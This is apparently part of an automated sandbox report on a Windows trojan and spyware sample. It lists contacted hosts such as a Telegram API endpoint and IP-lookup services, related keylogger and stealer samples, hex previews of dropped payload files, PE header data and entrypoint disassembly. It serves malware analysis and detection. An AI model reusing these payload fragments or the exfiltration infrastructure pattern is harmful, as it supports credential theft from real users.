https://reallyfreegeoip.org/xml/	MzqLQjCwrw.exe, 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587843
Start date and time:	2025-01-10 18:28:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MzqLQjCwrw.exe renamed because original name is a hash value
Original Sample Name:	0b7718c1c06ec823438b84c44b1d0ccedfcd24f73aad0b83e63d7e20924796ac.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 58 Number of non-executed functions: 276
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.160.20, 20.199.58.43, 52.149.20.212, 2.23.227.215, 20.223.36.55, 2.23.227.208, 20.223.35.26, 150.171.28.10, 184.28.90.27
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, login.live.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:30:23	API Interceptor	1314117x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	B7N48hmO78.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	VIAmJUhQ54.exe	Get hash	malicious	MassLogger RAT	Browse
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse
104.21.96.1	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	www.aonline.top/fqlg/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
158.101.44.242	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	2V7usxd7Vc.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
reallyfreegeoip.org	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
api.telegram.org	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	B7N48hmO78.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	VIAmJUhQ54.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	B7N48hmO78.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	VIAmJUhQ54.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	8kDIr4ZdNj.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	2V7usxd7Vc.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	4iDzhJBJVv.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	B3aqD8srjF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
CLOUDFLARENETUS	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	KcSzB2IpP5.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	104.18.27.193
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	104.18.32.25
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	smQoKNkwB7.exe	Get hash	malicious	FormBook	Browse	104.21.18.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2V7usxd7Vc.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ID_Badge_Policy.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	149.154.167.220
	DpTbBYeE7J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	149.154.167.220
	7DpzcPcsTS.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	B8FnDUj8hy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\MzqLQjCwrw.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.5833606608738813
Encrypted:	false
SSDEEP:	768:G3i/suPhEVsHCJOG+owp5Jm6fqL0Jl1ofnQ1uLphM:Ui0uPhbiJOVxuLDM
MD5:	1837FB67828BB51BED9520F7BEA06B8F
SHA1:	692694B5D0ECAEA49E4B83858A29DAF1494A1E02
SHA-256:	CA493C35B1FFDF8EE3D1548611CCD4FCA8D3D75F02B178CFFC1704CDD3F0B683
SHA-512:	789F36CFC6F9915A2B043C7774A65151303D16467E936B6B57D649790BA6AA162BE7376F2148020308A110AE9A3805C8AE83A57C3247FB598791D43264D3A041
Malicious:	false
Reputation:	low
Preview:	x055b8ce18cecc20000065758bb6000000669854489b560000006698d468ab27000000669855888be6000000669854a89b560000006698d4c8abc6000000669855e88b33000000669854099b230000006698d429abe2000000669855498b46000000669854699bc60000006698d489abc6000000669855a9330c669854c99be60000006698d844ffffffab4700000066985964ffffff8b4600000066985884ffffff9bc60000006698d8a4ffffffabc6000000669859c4ffffff8be2000000669858e4ffffff9b460000006698d805ffffffabc600000066985925ffffff8bc600000066985845ffffff339c6698d865ffffffab570000006698550d8b370000006698542d9b560000006698d44dab270000006698556d8b330000006698548d9b230000006698d4adabe2000000669855cd8b46000000669854ed9bc60000006698d40eabc60000006698552e330c6698544e9b160000006698d886ffffffab46000000669859a6ffffff8b67000000669858c6ffffff9b160000006698d8e6ffffffab0700000066985907ffffff8b9600000066985827ffffff9b330000006698d847ffffffab2300000066985967ffffff8be200000066985887ffffff9b460000006698d8a7ffffffabc6000000669859c7ffffff8bc6000000669858e7ffffff339c6698d408ab370000006698550a8b86

C:\Users\user\AppData\Local\Temp\anaboly

Download File

Process:	C:\Users\user\Desktop\MzqLQjCwrw.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.914706855385295
Encrypted:	false
SSDEEP:	1536:BHCV2JREf9oVSWiPoy8Nim4DHseqB0sW+8p5v8hIYRABN+TRgY:Y0Jaf9oVYsNgCe+8GRAB8T1
MD5:	32958FBA6DD1673ADB2A6C59C01EA5F6
SHA1:	E492A839477EB413F488F7C3A8F41BFB4BBE844B
SHA-256:	EEA901FA762BCD34921B5BF646C0F23B4C7F99D9A880C53EC91881271D89D535
SHA-512:	9622EDA1314647328EF0710D203872BACE08FCCA0F709FD140E7DD85F0AB2108EB109DAA8A6034A76FC59CC9DECD18543B2E81EF20402BD546199F0B874BF022
Malicious:	false
Reputation:	low
Preview:	...06M60]K85..VE.GGLDRSUq3CDAY05M60YK85WJVE8GGLDRSU13CDAY05M.0YK6.DV.1.f.E..te[7a)BZDQ4k[T9$91.%"l6'=uX]c....X"RUwF5?sJVE8GGL..SU}2@D.cE.M60YK85W.VG9LF.DR7T13KDAY05M8.XK8.WJV.9GGL.RSu13CFAY45M60YK81WJVE8GGL.SSU33CDAY07Mv.YK(5WZVE8GWLDBSU13CDQY05M60YK85W..D8.GLDR.T1.FDAY05M60YK85WJVE8GG.ER_U13CDAY05M60YK85WJVE8GGLDRSU13CDAY05M60YK85WJVE8GGLDrSU93CDAY05M60YC.5W.VE8GGLDRSU1.7!9-05M"RXK8.WJV!9GGNDRSU13CDAY05M6.YKX.%9$&8GG.ARSU.2CDGY05+70YK85WJVE8GGL.RS..A&(.:05A60YK.4WJTE8G+MDRSU13CDAY05Mv0Y.85WJVE8GGLDRSU13..@Y05M6xYK87WOV].GG..RSV13C.AY6U.60.K85WJVE8GGLDRSU13CDAY05M60YK85WJVE8GGLDRSU1.>.N..$E..K85WJVD:DCJLZSU13CDAYN5M6vYK8uWJVr8GGiDRS813C`AY0KM60'K853JVEJGGL%RSUv3CD.Y05#60Y585WTTm'GGFntSW..CDKY..>.0YA.4WJR6.GGF.PSU5@`DAS.6M64o85].RE8C4iDRY.43C@k.06. 6YK#ZoJVO8D.YBRSN..CFi`05G6..K;.BLVE#meLF.ZU17i.2D05K.rYK2A^JVG.MGL@xMW.pCDKs.K^60]`8.u4BE8ClLnp-@13GoAs.K[60]`8.u4AE8ClLnTy71A.HA)3Z,60_c.5W@~.8GALnhS+?3C@C6.5M<.s.8..JVC8o.LDTS}b3CBAqd5M00q.85QJ\|.8o.LDTS}`3CBAs.53.0YO.2)yVE<lQ2uRSQ.5;D

C:\Users\user\AppData\Local\Temp\aut7D5.tmp

Download File

Process:	C:\Users\user\Desktop\MzqLQjCwrw.exe
File Type:	data
Category:	dropped
Size (bytes):	68968
Entropy (8bit):	7.923148310436233
Encrypted:	false
SSDEEP:	1536:0RdOAVzoQbgerNQjKQokU9TpX3NeQgzUQq:0RJ5bgexQetl9kJzUL
MD5:	3455AC91B92892468715125CB95827CE
SHA1:	3986A74AF9B63EC12F398B00D1159DE2F71EBBD0
SHA-256:	2FFEA27C3E08D14745CDC53E0BFEC729170029728C49AC6936874BD0C6A355B6
SHA-512:	B006DD29503AE3BB31B6D19724781B8FD50F05285187C6294CAA3A8A63E0EE1511F4B6D1157202075C7BD351616707388CDB00EEB2F905AE7CD6AD7B0DDFAC64
Malicious:	false
Reputation:	low
Preview:	EA06..n....3..6m0....]F.E.Q...%J.U...tJ.fa5..+ .e^.V.....1.....l.J..J..c..}(.....[.M.2..jUD..-u...I9..$.+d.O=..+.8.:...H.U[..k?..(.)...o....c....5..Q.4.4r.R..&3:X.f'...q...<...b.R..@!.5..4......ZJ.N.3....v..ir..^..6..J...* ...u.`...L~.`.?..E.W.<.......W.Vr.7..bkW...v;7..e..d........N.Q.b..]b7%..$.....6dfT:%..l....>...+.......kA....J...6J..?..aY..^.{>-.....(.z.>.].Q..O.J.V.6#......L< ......n).\|.vIE....D.Q(t.eh..T..b..l]@....i.6'..e..D..(.p.bf..R..I(..v.6%........(.J..OG...J.^3...)u...}..Vh;..2.6....J.N.5.X(.....d.J..w.R..(s@...L.t.\.a6..&.\..o.U..&.B.T.....i.L&.y.j.K...T..Gm..(..Vc7..TI....Vis.z.V..).ze..M..n....%K......~.4..6..e..-.Lft{}..l.....7...o1..i..L.,.L+.<..@.Ag.z.2.h.....E.m...g.k.&q....9.#L.Uw...B..l.Zl.aq.N&..U..8........s.MfpY.f...Jo5j,..Q.]jU:.>k;.Pk.<.6m:.r.sZ.:..Q..vb.}..(........`..;S...v....5..&..l.;..)m..e....g4:5.I...fS..$.._"s.,..D.U.P...[.\|....M7....Y...?..u=...D....Z."KK.m..\.qG..............a[....:UZ.:..).J....Q.

C:\Users\user\AppData\Local\Temp\aut844.tmp

Download File

Process:	C:\Users\user\Desktop\MzqLQjCwrw.exe
File Type:	data
Category:	dropped
Size (bytes):	9688
Entropy (8bit):	7.598766980940313
Encrypted:	false
SSDEEP:	192:c09SJLZ7jNO7shj/XD+9uTiSeShmJJggNJchEQX6pkVyA0fAepk7thDFoS4R:X9SJtjh/XD+o2wgPnchxXNVyA8AepsNo
MD5:	BF7D4A61CFFF11CE70DAE67EA27A26ED
SHA1:	89D48D7DC4E0E2C66DC149798D6BB280451A8AD4
SHA-256:	7CA9EE581D9322AA5CFC49FA8D65F191AC56A02BA9326D4A87DF6E43FD50D7B8
SHA-512:	76B14819FD905335B69781F54E0905F2DD751A53C3DD96B0B79E312A753A9A44C2FD1FA1372430AC2679609CEE40BFD50241047D0E4F0BDEBE657E8B0CBF8C80
Malicious:	false
Reputation:	low
Preview:	EA06..p..L&.[...e....;..`....y...b.......s8..&...j.%.$.m8..Sp.N.g.....m.X@..K...c.$....lL.`..Ng6)...l.I...b....4..,S@..l.l.-z..f.6\|v...Qc.0.......q4.Y..k..h......c ._..p.1....qa.H....9..$l.3..Y@.6...$.a5.H.f@.....\|3....fs9..%d.M...5...&.@.@.K.I.....Y.x>9.....Y.j.;.......j.;-....Y@j.9.....K,..1...'.`....\|.....,S`..N,`...H.......\|....F. ,_...c3..........;..:&.>_L.n....f.G_T......\|.).......&.....8...&V....ia...=.....Y......&..`.l..\|.[.....Yl ....ab...,@....ib........h.._..@...3\|.P.o.ac.....+.....N.i\|sk....8..4\|.0...c....7....k ..7.X..TD....M&`....g....,,`....>.Y...$.@&....L&.P.....32.\|&.G%......h...,..33.%.....BS...Nf......f.4.L,.9."....Bvp.Y...ffS{$..d..,.@8@.......@.3d.L..k4.h..M.B:.Y...fg6.;.ab....98.L..:.....of.L.*..Fp........36.Y&.k,.b...' !...,t.33.4.c2.X.M....#......j.d...[..%3.....c....M'6...ic....!..,..3 k..p....@...L&..........., ....#......f.8.X..K..`....zn........0{.k7....!..,...S.%..9..J@^@.G'.......aa.M..)LM@B:.Y...ffS...r....@...N@.:.....n..Mf@....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.828782876132916
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MzqLQjCwrw.exe
File size:	956'416 bytes
MD5:	5525e92284b32082e959d9d4f58f44d6
SHA1:	e28870b31d2fc0b1c1ced9bd4102b9c0ba2a13d7
SHA256:	0b7718c1c06ec823438b84c44b1d0ccedfcd24f73aad0b83e63d7e20924796ac
SHA512:	fc29bfae5148408943ba86a671475f44595d4bbcbfd5a84b249edac8eeabbedea0c8f622edec4d322a0e50fbf5dac90cc78a75ec46d4dae2dbfdec665887bd77
SSDEEP:	24576:yu6J33O0c+JY5UZ+XC0kGso6Fais9LZgWY:0u0c++OCvkGs9FaiKJY
TLSH:	5315AD2273DDC360CB669173BF69B7016EBF3C614630B85B2F880D7DA950162262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67635795 [Wed Dec 18 23:15:33 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FA414B7D8CAh
jmp 00007FA414B70694h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FA414B7081Ah
cmp edi, eax
jc 00007FA414B70B7Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FA414B70819h
rep movsb
jmp 00007FA414B70B2Ch
cmp ecx, 00000080h
jc 00007FA414B709E4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FA414B70820h
bt dword ptr [004BE324h], 01h
jc 00007FA414B70CF0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FA414B709BDh
test edi, 00000003h
jne 00007FA414B709CEh
test esi, 00000003h
jne 00007FA414B709ADh
bt edi, 02h
jnc 00007FA414B7081Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FA414B70823h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FA414B70875h
bt esi, 03h
jnc 00007FA414B708C8h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x20fbc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe8000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x20fbc	0x21000	b539a5e07a364d8fa8840f5294b51486	False	0.8015802556818182	data	7.532495421543584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe8000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
